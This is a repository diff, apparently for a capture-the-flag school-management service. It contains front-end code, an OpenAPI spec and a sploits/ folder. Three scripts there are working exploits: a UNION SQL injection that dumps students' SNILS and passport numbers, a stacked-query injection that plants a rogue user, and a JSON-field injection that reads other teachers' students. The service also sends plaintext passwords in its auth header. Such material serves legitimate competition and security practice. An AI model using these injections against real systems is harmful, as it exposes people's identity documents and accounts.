const { data } = await Api.listClasses(session);
const tbody = listCard.querySelector("tbody");
tbody.innerHTML = "";
for (const c of data?.["классы"] || []) {
const tr = el("tr");
tr.appendChild(el("td", {}, String(c["идентификатор"])));
tr.appendChild(
el("td", {}, `${c["номер"] || ""}${c["буква"] ? "-" + c["буква"] : ""}`)
);
tr.appendChild(el("td", {}, String(c["создатель"] ?? "")));
const actions = el("td");
const btnAdd = el("button", { class: "btn" }, "Добавить ученика");
btnAdd.addEventListener("click", async () => {
const sid = Number($("#st-to-add", listCard)?.value || 0);
if (!sid) return alert("Укажите ID ученика");
try {
await Api.addStudentToClass(session, c["идентификатор"], sid);
await refresh();
} catch (e) {
alert(e.message || "Не удалось добавить ученика");
}
});
const btnRm = el("button", { class: "btn secondary" }, "Убрать ученика");
btnRm.addEventListener("click", async () => {
const sid = Number($("#st-to-add", listCard)?.value || 0);
if (!sid) return alert("Укажите ID ученика");
try {
await Api.removeStudentFromClass(session, c["идентификатор"], sid);
await refresh();
} catch (e) {
alert(e.message || "Не удалось удалить ученика");
}
});
const btnDel = el("button", { class: "btn danger" }, "Удалить класс");
btnDel.addEventListener("click", async () => {
if (!confirm("Удалить класс?")) return;
await Api.deleteClass(session, c["идентификатор"]);
await refresh();
});
actions.appendChild(btnAdd);
actions.appendChild(btnRm);
actions.appendChild(btnDel);
tr.appendChild(actions);
tbody.appendChild(tr);
}
}
refresh().catch(console.error);
return wrap;
}
function studentsView(session) {
const wrap = el("div", { class: "grid-two" });
const formCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Создать ученика"),
el("div", { class: "card-body" }, [
(() => {
const form = el("form", { class: "form-grid" });
form.innerHTML = `
<div class="input"><label>Имя</label><input name="имя" required></div>
<div class="input"><label>Фамилия</label><input name="фамилия" required></div>
<div class="input"><label>Отчество</label><input name="отчество" required></div>
<div class="input"><label>СНИЛС</label><input name="снилс" required></div>
<div class="input"><label>Паспорт</label><input name="паспорт" required></div>
<div class="input"><label>Пароль</label><input type="password" name="пароль" required></div>
<div class="input"><label>Повтор пароля</label><input type="password" name="повтор пароля" required></div>
<div class="actions"><button class="btn">Создать</button></div>
<div id="st-err" class="error hidden"></div>`;
form.addEventListener("submit", async (e) => {
e.preventDefault();
const payload = formToJSON(form);
try {
await Api.createStudent(session, payload);
await refresh();
form.reset();
} catch (err) {
const box = form.querySelector("#st-err");
box.classList.remove("hidden");
box.textContent = err.message || "Ошибка создания ученика";
}
});
return form;
})(),
]),
]);
const listCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Ученики"),
el("div", { class: "card-body" }, [
el("table", { class: "table", id: "st-table" }, [
el(
"thead",
{},
el("tr", {}, [
el("th", {}, "ID"),
el("th", {}, "ФИО"),
el("th", {}, "Имя пользователя"),
el("th", {}, ""),
])
),
el("tbody"),
]),
]),
]);
wrap.appendChild(formCard);
wrap.appendChild(listCard);
async function refresh() {
const { data } = await Api.listStudents(session);
const tbody = listCard.querySelector("tbody");
tbody.innerHTML = "";
for (const s of data?.["ученики"] || []) {
const tr = el("tr");
tr.appendChild(el("td", {}, String(s["идентификатор"])));
tr.appendChild(
el(
"td",
{},
`${s["фамилия"] || ""} ${s["имя"] || ""} ${
s["отчество"] || ""
}`.trim()
)
);
tr.appendChild(el("td", {}, s["имя пользователя"] || ""));
const actions = el("td");
const btnDel = el("button", { class: "btn danger" }, "Удалить");
btnDel.addEventListener("click", async () => {
if (!confirm("Удалить ученика?")) return;
await Api.deleteStudent(session, s["идентификатор"]);
await refresh();
});
actions.appendChild(btnDel);
tr.appendChild(actions);
tbody.appendChild(tr);
}
}
refresh().catch(console.error);
return wrap;
}
function lessonsView(session) {
const wrap = el("div", { class: "grid-two" });
const formCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Создать урок"),
el("div", { class: "card-body" }, [
(() => {
const form = el("form", { class: "form-grid" });
form.innerHTML = `
<div class="input"><label>ID класса</label><input name="classId" required type="number" min="1"></div>
<div class="input"><label>Дата</label><input name="дата" type="date" value="${fmtDateInput()}" required></div>
<div class="input"><label>Тема</label><input name="тема" required></div>
<div class="input" style="grid-column: 1/-1"><label>Домашнее задание</label><textarea name="домашка" rows="3"></textarea></div>
<div class="actions"><button class="btn">Создать</button></div>
<div id="lsn-err" class="error hidden"></div>`;
form.addEventListener("submit", async (e) => {
e.preventDefault();
const f = new FormData(form);
const classId = Number(f.get("classId"));
const payload = {
дата: f.get("дата"),
тема: f.get("тема"),
домашка: f.get("домашка"),
};
try {
await Api.createLesson(session, classId, payload);
await refresh();
} catch (err) {
const box = form.querySelector("#lsn-err");
box.classList.remove("hidden");
box.textContent = err.message || "Ошибка создания урока";
}
});
return form;
})(),
]),
]);
const listCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Уроки класса"),
el("div", { class: "card-body" }, [
(() => {
const filter = el("div", {
class: "form-grid",
style: "margin-bottom:8px",
});
filter.innerHTML = `
<div class="input"><label>ID класса</label><input id="flt-class" type="number" min="1"></div>
<div class="input"><label>Дата</label><input id="flt-date" type="date"></div>
<div class="actions" style="align-self:end"><button id="btn-load" class="btn" type="button">Загрузить</button></div>`;
return filter;
})(),
el("table", { class: "table", id: "lsn-table" }, [
el(
"thead",
{},
el("tr", {}, [
el("th", {}, "ID"),
el("th", {}, "Класс"),
el("th", {}, "Дата"),
el("th", {}, "Тема"),
el("th", {}, "Д/З"),
el("th", {}, ""),
])
),
el("tbody"),
]),
]),
]);
wrap.appendChild(formCard);
wrap.appendChild(listCard);
async function refresh() {
const classId = Number($("#flt-class", listCard)?.value || 0);
const date = $("#flt-date", listCard)?.value || undefined;
if (!classId) return;
const { data } = await Api.listLessons(session, classId, date);
const tbody = listCard.querySelector("tbody");
tbody.innerHTML = "";
for (const l of data?.["уроки"] || []) {
const tr = el("tr");
tr.appendChild(el("td", {}, String(l["идентификатор"])));
tr.appendChild(el("td", {}, String(l["идентификатор класса"])));
tr.appendChild(el("td", {}, l["дата"] || ""));
tr.appendChild(el("td", {}, l["название"] || ""));
tr.appendChild(el("td", {}, l["домашнее задание"] || ""));
const actions = el("td");
const btnDel = el("button", { class: "btn danger" }, "Удалить");
btnDel.addEventListener("click", async () => {
if (!confirm("Удалить урок?")) return;
await Api.deleteLessonById(
session,
l["идентификатор класса"],
l["идентификатор"]
);
await refresh();
});
actions.appendChild(btnDel);
tr.appendChild(actions);
tbody.appendChild(tr);
}
}
$("#btn-load", listCard)?.addEventListener("click", refresh);
return wrap;
}
function dashboardView() {
const card = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Сводная"),
el("div", { class: "card-body" }, [
el(
"p",
{},
"Добро пожаловать! Используйте боковое меню, чтобы работать с данными."
),
el(
"p",
{ class: "small" },
`Стоят пассажиры в аэропорту, посадочный досмотр проходят. Дошла очередь до мужика с чемоданом.
— Пожалуйста, приготовьте чемодан к осмотру.
Не могу.
— Почему?
А у меня там бипки!
А что это?
Ну, пропатчите сервис на тривиле — покажу!
Служба безопасности шутку не поняла, вызвала наряд полиции:
— Гражданин, открывайте чемодан.
Но я не могу!
— Почему не можете?
— Потому что у меня там бипки!
— «Бипки»? Что это?
— Так реализуйте гарбадж коллектор мне, и я покажу!
Отобрали чемодан, а открыть никто не может. Повезли мужика в СИЗО. В камере сидельцы расспрашивают:
— Братуха, за что тебя?
— Да чемодан отказался открывать.
А что там?
— Да бипки там.
— Какие еще «бипки»?
Ну документацию обновите мне, тогда и расскажу.
И вот угодил мужик в лазарет, с побоями да синяками по всему телу, весь перебинтован, еле дышит. Следователи вызвали группу специалистов для вскрытия чемодана. Час, два, три пыхтели. Кое-как разворотили, смотрят — а там бипки.`
),
]),
]);
return card;
}
route("/dashboard", async ({ view }) => {
const s = needSession();
view.appendChild(sectionTabs("dashboard"));
view.appendChild(dashboardView(s));
});
route("/teacher/classes", async ({ view }) => {
const s = needSession();
view.appendChild(sectionTabs("classes"));
view.appendChild(classesView(s));
});
route("/teacher/students", async ({ view }) => {
const s = needSession();
view.appendChild(sectionTabs("students"));
view.appendChild(studentsView(s));
});
route("/teacher/lessons", async ({ view }) => {
const s = needSession();
view.appendChild(sectionTabs("lessons"));
view.appendChild(lessonsView(s));
});

812
openapi/srab.yaml Normal file
View File

@@ -0,0 +1,812 @@
openapi: 3.0.3
info:
title: SRAB Учебная Платформа
version: 1.0.0
description: >
HTTP API, реализованное контроллерами из каталога `исх/властелины`.
Аутентификация выполняется с помощью заголовка `Authorization` вида
`Basic <имя_пользователя> <пароль>` (без base64).
servers:
- url: http://localhost:1337
tags:
- name: Главный
- name: Пользователи
- name: Классы
- name: Уроки
- name: Ученики
- name: Учителя
components:
securitySchemes:
BasicPassport:
type: apiKey
in: header
name: Authorization
description: >
Формат: `Basic <имя_пользователя> <пароль>`. Используется для всех защищённых маршрутов.
schemas:
LoginRequest:
type: object
required: ["имя пользователя", "пароль"]
properties:
"имя пользователя":
type: string
"пароль":
type: string
CreateTeacherRequest:
type: object
required:
["имя", "фамилия", "отчество", "образование", "пароль", "повтор пароля"]
properties:
"имя":
type: string
"фамилия":
type: string
"отчество":
type: string
"образование":
type: string
"пароль":
type: string
"повтор пароля":
type: string
ChangePasswordRequest:
type: object
required: ["новый пароль"]
properties:
"новый пароль":
type: string
Student:
type: object
properties:
"идентификатор":
type: integer
format: int64
"имя":
type: string
"фамилия":
type: string
"отчество":
type: string
"снилс":
type: string
"паспорт":
type: string
"наставник":
type: integer
format: int64
"имя пользователя":
type: string
StudentListResponse:
type: object
properties:
"ученики":
type: array
items:
$ref: "#/components/schemas/Student"
CreateStudentResponse:
type: object
properties:
"идентификатор":
type: integer
format: int64
"имя":
type: string
"фамилия":
type: string
"отчество":
type: string
"снилс":
type: string
"паспорт":
type: string
"учитель":
type: integer
format: int64
"имя пользователя":
type: string
Teacher:
type: object
properties:
"идентификатор":
type: integer
format: int64
"имя":
type: string
"фамилия":
type: string
"отчество":
type: string
"имя пользователя":
type: string
"образование":
type: string
TeacherListResponse:
type: object
properties:
"учителя":
type: array
items:
$ref: "#/components/schemas/Teacher"
CreateStudentRequest:
type: object
required:
[
"имя",
"фамилия",
"отчество",
"снилс",
"паспорт",
"пароль",
"повтор пароля",
]
properties:
"имя":
type: string
"фамилия":
type: string
"отчество":
type: string
"снилс":
type: string
"паспорт":
type: string
"пароль":
type: string
"повтор пароля":
type: string
Class:
type: object
properties:
"идентификатор":
type: integer
format: int64
"номер":
type: integer
"буква":
type: string
"создатель":
type: integer
format: int64
ClassListResponse:
type: object
properties:
"классы":
type: array
items:
$ref: "#/components/schemas/Class"
CreateClassRequest:
type: object
required: ["номер", "буква"]
properties:
"номер":
type: integer
"буква":
type: string
description: Однобуквенное обозначение параллели.
Lesson:
type: object
properties:
"идентификатор":
type: integer
format: int64
"идентификатор класса":
type: integer
format: int64
"дата":
type: string
description: Дата урока (YYYY-MM-DD).
"название":
type: string
"домашнее задание":
type: string
LessonListResponse:
type: object
properties:
"уроки":
type: array
items:
$ref: "#/components/schemas/Lesson"
CreateLessonRequest:
type: object
required: []
properties:
"дата":
type: string
description: Дата урока; альтернативно можно использовать поле «дата урока».
"дата урока":
type: string
description: Альтернативное имя поля «дата».
"название":
type: string
description: Название урока; альтернативно можно использовать поле «тема».
"тема":
type: string
description: Альтернативное имя поля «название».
"домашнее задание":
type: string
description: Текст домашнего задания; альтернативно можно использовать поле «домашка».
"домашка":
type: string
description: Альтернативное имя поля «домашнее задание».
description: >
Требует хотя бы одно из полей «дата» или «дата урока», а также «название» или «тема».
Остальные поля необязательны.
paths:
/api/:
get:
tags: [Главный]
summary: Проверка здоровья сервиса.
responses:
"200":
description: Успешный ответ.
content:
text/plain:
schema:
type: string
example: Привет, мир!
/api/users:
post:
tags: [Пользователи]
summary: Регистрация учителя (создание пользователя-учителя).
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/CreateTeacherRequest"
responses:
"201":
description: Учитель создан.
content:
application/json:
schema:
$ref: "#/components/schemas/Teacher"
examples:
success:
summary: Пример созданного учителя
value:
идентификатор: 1
образование: "высшее"
имя: "Иван"
фамилия: "Иванов"
отчество: "Иванович"
имя пользователя: "Иван.Иванов"
"400":
description: Невалидное тело запроса или пароли не совпадают.
"500":
description: Ошибка при обращении к базе.
/api/users/login:
post:
tags: [Пользователи]
summary: Аутентификация пользователя.
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/LoginRequest"
responses:
"200":
description: Аутентификация прошла успешно.
content:
text/plain:
schema:
type: string
example: Рады видеть вас снова :3
"401":
description: Неверные учётные данные.
"500":
description: Внутренняя ошибка при обращении к базе.
/api/users/password:
put:
tags: [Пользователи]
summary: Смена пароля авторизованного пользователя.
security:
- BasicPassport: []
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/ChangePasswordRequest"
responses:
"204":
description: Пароль успешно изменён.
"400":
description: Невалидное тело запроса.
"401":
description: Неавторизовано (нет или неверный паспорт).
"422":
description: Новый пароль отсутствует или пустой.
"500":
description: Ошибка при обращении к базе.
/api/classes:
get:
tags: [Классы]
summary: Список классов, созданных учителем.
security:
- BasicPassport: []
parameters:
- name: "учитель"
in: query
required: false
description: >
Идентификатор учителя для фильтрации. Для администраторов параметр обязателен;
для учителей по умолчанию используется их собственный идентификатор, если
параметр не указан.
schema:
type: integer
format: int64
example: 42
responses:
"200":
description: Список доступных классов.
content:
application/json:
schema:
$ref: "#/components/schemas/ClassListResponse"
"400":
description: >
Некорректные параметры запроса: администраторам необходимо указать параметр
«учитель», либо передано неверное значение параметра.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем.
"500":
description: Ошибка базы данных.
post:
tags: [Классы]
summary: Создание нового класса.
security:
- BasicPassport: []
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/CreateClassRequest"
responses:
"201":
description: Класс создан.
content:
application/json:
schema:
$ref: "#/components/schemas/Class"
"400":
description: Невалидное тело запроса.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем.
"422":
description: Нарушение ограничений БД (дублирование и т.п.).
"500":
description: Ошибка базы данных.
/api/classes/{classId}:
delete:
tags: [Классы]
summary: Удаление класса учителя.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
description: Идентификатор класса.
schema:
type: integer
format: int64
responses:
"204":
description: Класс удалён.
"400":
description: Не указан идентификатор.
"401":
description: Пользователь не авторизован.
"403":
description: Класс не принадлежит учителю.
"404":
description: Класс не найден.
"500":
description: Ошибка базы данных.
/api/classes/{classId}/students/{studentId}:
post:
tags: [Классы]
summary: Добавление ученика в класс.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: studentId
in: path
required: true
schema:
type: integer
format: int64
responses:
"201":
description: Ученик добавлен.
"400":
description: Недостаточно параметров в маршруте.
"401":
description: Пользователь не авторизован.
"403":
description: Класс не принадлежит учителю.
"404":
description: Ученик не найден.
"422":
description: Связь уже существует или нарушена целостность.
"500":
description: Ошибка базы данных.
delete:
tags: [Классы]
summary: Удаление ученика из класса.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: studentId
in: path
required: true
schema:
type: integer
format: int64
responses:
"204":
description: Ученик удалён из класса.
"400":
description: Недостаточно параметров в маршруте.
"401":
description: Пользователь не авторизован.
"403":
description: Класс не принадлежит учителю.
"404":
description: Связь ученик-класс не найдена.
"500":
description: Ошибка базы данных.
/api/classes/{classId}/lessons:
post:
tags: [Уроки]
summary: Создание урока.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/CreateLessonRequest"
responses:
"201":
description: Урок создан.
content:
application/json:
schema:
$ref: "#/components/schemas/Lesson"
"400":
description: Невалидное тело или отсутствуют обязательные поля.
"401":
description: Пользователь не авторизован.
"403":
description: Класс не принадлежит учителю.
"422":
description: Нарушение ограничений при вставке.
"500":
description: Ошибка базы данных.
get:
tags: [Уроки]
summary: Список уроков класса.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: date
in: query
required: false
schema:
type: string
description: >
Дополнительный фильтр по дате (YYYY-MM-DD). Аналогичен маршрутам с сегментом `/date/{date}`.
responses:
"200":
description: Успешный ответ.
content:
application/json:
schema:
$ref: "#/components/schemas/LessonListResponse"
"400":
description: Не указан идентификатор класса.
"401":
description: Пользователь не авторизован.
"403":
description: Нет доступа к классу.
"404":
description: Класс не найден.
"500":
description: Ошибка базы данных.
/api/classes/{classId}/lessons/{date}:
get:
tags: [Уроки]
summary: Список уроков класса за указанную дату.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: date
in: path
required: true
schema:
type: string
description: Дата в формате YYYY-MM-DD.
responses:
"200":
description: Успешный ответ.
content:
application/json:
schema:
$ref: "#/components/schemas/LessonListResponse"
"400":
description: Недостаточно параметров.
"401":
description: Пользователь не авторизован.
"403":
description: Нет доступа к классу.
"404":
description: Класс не найден.
"500":
description: Ошибка базы данных.
delete:
tags: [Уроки]
summary: Удаление урока по идентификатору.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: date
in: path
required: true
schema:
type: integer
format: int64
description: Идентификатор урока для удаления.
responses:
"204":
description: Урок удалён.
"400":
description: Недостаточно параметров.
"401":
description: Пользователь не авторизован.
"403":
description: Класс не принадлежит учителю.
"404":
description: Урок не найден.
"500":
description: Ошибка базы данных.
/api/classes/{classId}/lessons/date/{date}:
get:
tags: [Уроки]
summary: Альтернативный маршрут фильтрации уроков по дате.
security:
- BasicPassport: []
parameters:
- name: classId
in: path
required: true
schema:
type: integer
format: int64
- name: date
in: path
required: true
schema:
type: string
description: Дата в формате YYYY-MM-DD.
responses:
"200":
description: Успешный ответ.
content:
application/json:
schema:
$ref: "#/components/schemas/LessonListResponse"
"400":
description: Недостаточно параметров.
"401":
description: Пользователь не авторизован.
"403":
description: Нет доступа к классу.
"404":
description: Класс не найден.
"500":
description: Ошибка базы данных.
/api/students:
post:
tags: [Ученики]
summary: Создание ученика (только для учителей).
security:
- BasicPassport: []
requestBody:
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/CreateStudentRequest"
responses:
"201":
description: Ученик создан.
content:
application/json:
schema:
$ref: "#/components/schemas/CreateStudentResponse"
"400":
description: Невалидное тело запроса или пароли не совпадают.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем.
"500":
description: Ошибка базы данных.
get:
tags: [Ученики]
summary: Список учеников по учителю.
security:
- BasicPassport: []
parameters:
- name: "учитель"
in: query
required: false
description: >
Идентификатор учителя для фильтрации. Для администраторов параметр обязателен;
для учителей по умолчанию используется их собственный идентификатор, если
параметр не указан.
schema:
type: integer
format: int64
example: 42
responses:
"200":
description: Список учеников.
content:
application/json:
schema:
$ref: "#/components/schemas/StudentListResponse"
"400":
description: Некорректные параметры запроса.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем.
"500":
description: Ошибка базы данных.
/api/students/{id}:
get:
tags: [Ученики]
summary: Получение ученика по идентификатору.
security:
- BasicPassport: []
parameters:
- name: id
in: path
required: true
schema:
type: integer
format: int64
responses:
"200":
description: Ученик найден.
content:
application/json:
schema:
$ref: "#/components/schemas/Student"
"400":
description: Недостаточно параметров.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем.
"404":
description: Ученик не найден.
"500":
description: Ошибка базы данных.
delete:
tags: [Ученики]
summary: Удаление ученика (только для учителей).
security:
- BasicPassport: []
parameters:
- name: id
in: path
required: true
schema:
type: integer
format: int64
responses:
"204":
description: Ученик удалён.
"400":
description: Не указан идентификатор.
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является учителем или не наставник указанного ученика.
"404":
description: Ученик не найден.
"500":
description: Ошибка базы данных.
/api/teachers:
get:
tags: [Учителя]
summary: Список учителей (только для администраторов).
security:
- BasicPassport: []
parameters:
- name: "страница"
in: query
required: false
description: Номер страницы (начиная с 1). По умолчанию 1.
schema:
type: integer
minimum: 1
example: 2
responses:
"200":
description: Успешный ответ.
content:
application/json:
schema:
$ref: "#/components/schemas/TeacherListResponse"
"400":
description: Некорректные параметры запроса (напр., страница < 1).
"401":
description: Пользователь не авторизован.
"403":
description: Пользователь не является администратором.
"500":
description: Ошибка базы данных.

View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
import socket
import common
credentials = common.register_random_teacher()
headers = common.get_auth_headers(credentials)
class_id = common.create_class(credentials)
injection = (
"01%2F01%2F2077' "
"' UNION SELECT id AS id, user_id AS class_id, snils AS date, "
"passport AS title, 'gotcha' AS homework FROM students "
"WHERE '-1' = '-1"
)
path = f"/api/classes/{class_id}/lessons/{injection}"
url = common.BASE + path
s = socket.create_connection((common.HOST, common.PORT))
s.sendall(f"""GET {path} HTTP/1.1
Authorization: {headers["Authorization"]}
""".encode("utf-8"))
chunks = []
while True:
data = s.recv(4096)
if not data:
break
chunks.append(data)
body = b"".join(chunks).decode("utf-8")
print(body)

View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
import requests
import common
injection_first_name = common.random_string()
injection_last_name = common.random_string()
injection_password = common.random_string()
injection_username = f"{injection_first_name}.{injection_last_name}"
legit_first_name = common.random_string()
legit_last_name = common.random_string()
legit_password = common.random_string()
legit_username = f"{legit_first_name}.{legit_last_name}"
legit_education = (
"Pony', ''); INSERT INTO users (first_name, last_name, middle_name, "
"username, password) "
f"VALUES ('{injection_first_name}', '{injection_last_name}', "
f"'Injectionovich', '{injection_username}', "
f"'{injection_password}'); --"
)
common.register_teacher(
legit_first_name,
legit_last_name,
legit_password,
legit_username,
legit_education,
)
last_student_id = common.create_student((legit_username, legit_password))
headers = common.get_auth_headers((injection_username, injection_password))
for student_id in range(max(1, last_student_id - 100), last_student_id):
url = f"{common.BASE}/api/students/{student_id}"
response = requests.get(url, headers=headers)
print(response.text)

View File

@@ -0,0 +1,44 @@
#!/usr/bin/env python3
import socket
import common
first_name = common.random_string()
last_name = common.random_string()
password = common.random_string()
username = f"{first_name}.{last_name}"
_, _, base_teacher_id = common.register_random_teacher()
common.register_teacher(
first_name,
last_name,
password,
username,
middle_name="""Injectionovich", "id": 228, "kek": "pek"""
)
for teacher_id in range(max(1, base_teacher_id - 100), base_teacher_id):
path = f"/api/students?учитель={teacher_id}"
headers = common.get_auth_headers((username, password))
s = socket.create_connection((common.HOST, common.PORT))
s.sendall(f"""GET {path} HTTP/1.1
Authorization: {headers["Authorization"]}
""".encode("utf-8"))
chunks = []
while True:
data = s.recv(4096)
if not data:
break
chunks.append(data)
body = b"".join(chunks).decode("utf-8")
print(body)

118
sploits/common/__init__.py Normal file
View File

@@ -0,0 +1,118 @@
import json
import random
import sys
import requests
HOST = sys.argv[1]
PORT = 1337
BASE = f"http://{HOST}:{PORT}"
def random_string(length=8):
letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
return ''.join(random.choice(letters) for _ in range(length))
def register_teacher(
first_name,
last_name,
password,
username,
education="Pony",
middle_name="Автотестович",
):
url = f"{BASE}/api/users"
data = {
"имя": first_name,
"фамилия": last_name,
"отчество": middle_name,
"образование": education,
"пароль": password,
"повтор пароля": password,
}
response = requests.post(url, data=json.dumps(data, ensure_ascii=False))
if response.status_code != 201:
print(
f"Failed to register teacher: {response.status_code} "
f"{response.text}"
)
sys.exit(1)
data = response.json()
return (username, password, data["идентификатор"])
def register_random_teacher():
first_name = random_string()
last_name = random_string()
password = random_string()
username = f"{first_name}.{last_name}"
return register_teacher(first_name, last_name, password, username)
def create_class(teacher_credentials):
headers = get_auth_headers(teacher_credentials)
url = f"{BASE}/api/classes"
data = {
"номер": 11,
"буква": "Б",
}
response = requests.post(
url,
data=json.dumps(data, ensure_ascii=False),
headers=headers
)
if response.status_code != 201:
print(
f"Failed to create class: {response.status_code} {response.text}"
)
sys.exit(1)
class_info = response.json()
return class_info["идентификатор"]
def create_student(teacher_credentials):
headers = get_auth_headers(teacher_credentials)
password = random_string()
url = f"{BASE}/api/students"
data = {
"имя": random_string(),
"фамилия": random_string(),
"отчество": "Автотестович",
"снилс": random_string(),
"паспорт": random_string(),
"пароль": password,
"повтор пароля": password,
}
response = requests.post(
url,
data=json.dumps(data, ensure_ascii=False),
headers=headers
)
if response.status_code != 201:
print(
f"Failed to create student: {response.status_code} {response.text}"
)
sys.exit(1)
class_info = response.json()
return class_info["идентификатор"]
def get_auth_headers(teacher_credentials):
return {
"Authorization": (
f"Basic {teacher_credentials[0]} {teacher_credentials[1]}"
)
}

0
var/.keep Normal file
View File

713
wrapper/Cargo.lock generated Normal file
View File

@@ -0,0 +1,713 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "atomic-waker"
version = "1.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
[[package]]
name = "axum"
version = "0.8.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8a18ed336352031311f4e0b4dd2ff392d4fbb370777c9d18d7fc9d7359f73871"
dependencies = [
"axum-core",
"bytes",
"form_urlencoded",
"futures-util",
"http",
"http-body",
"http-body-util",
"hyper",
"hyper-util",
"itoa",
"matchit",
"memchr",
"mime",
"percent-encoding",
"pin-project-lite",
"serde_core",
"serde_json",
"serde_path_to_error",
"serde_urlencoded",
"sync_wrapper",
"tokio",
"tower",
"tower-layer",
"tower-service",
"tracing",
]
[[package]]
name = "axum-core"
version = "0.5.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "59446ce19cd142f8833f856eb31f3eb097812d1479ab224f54d72428ca21ea22"
dependencies = [
"bytes",
"futures-core",
"http",
"http-body",
"http-body-util",
"mime",
"pin-project-lite",
"sync_wrapper",
"tower-layer",
"tower-service",
"tracing",
]
[[package]]
name = "bitflags"
version = "2.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
[[package]]
name = "bytes"
version = "1.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a"
[[package]]
name = "cfg-if"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "fnv"
version = "1.0.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
[[package]]
name = "form_urlencoded"
version = "1.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf"
dependencies = [
"percent-encoding",
]
[[package]]
name = "futures-channel"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10"
dependencies = [
"futures-core",
]
[[package]]
name = "futures-core"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
[[package]]
name = "futures-sink"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7"
[[package]]
name = "futures-task"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
[[package]]
name = "futures-util"
version = "0.3.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
dependencies = [
"futures-core",
"futures-task",
"pin-project-lite",
"pin-utils",
]
[[package]]
name = "http"
version = "1.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f4a85d31aea989eead29a3aaf9e1115a180df8282431156e533de47660892565"
dependencies = [
"bytes",
"fnv",
"itoa",
]
[[package]]
name = "http-body"
version = "1.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184"
dependencies = [
"bytes",
"http",
]
[[package]]
name = "http-body-util"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a"
dependencies = [
"bytes",
"futures-core",
"http",
"http-body",
"pin-project-lite",
]
[[package]]
name = "http-range-header"
version = "0.4.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9171a2ea8a68358193d15dd5d70c1c10a2afc3e7e4c5bc92bc9f025cebd7359c"
[[package]]
name = "httparse"
version = "1.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
[[package]]
name = "httpdate"
version = "1.0.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
[[package]]
name = "hyper"
version = "1.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "eb3aa54a13a0dfe7fbe3a59e0c76093041720fdc77b110cc0fc260fafb4dc51e"
dependencies = [
"atomic-waker",
"bytes",
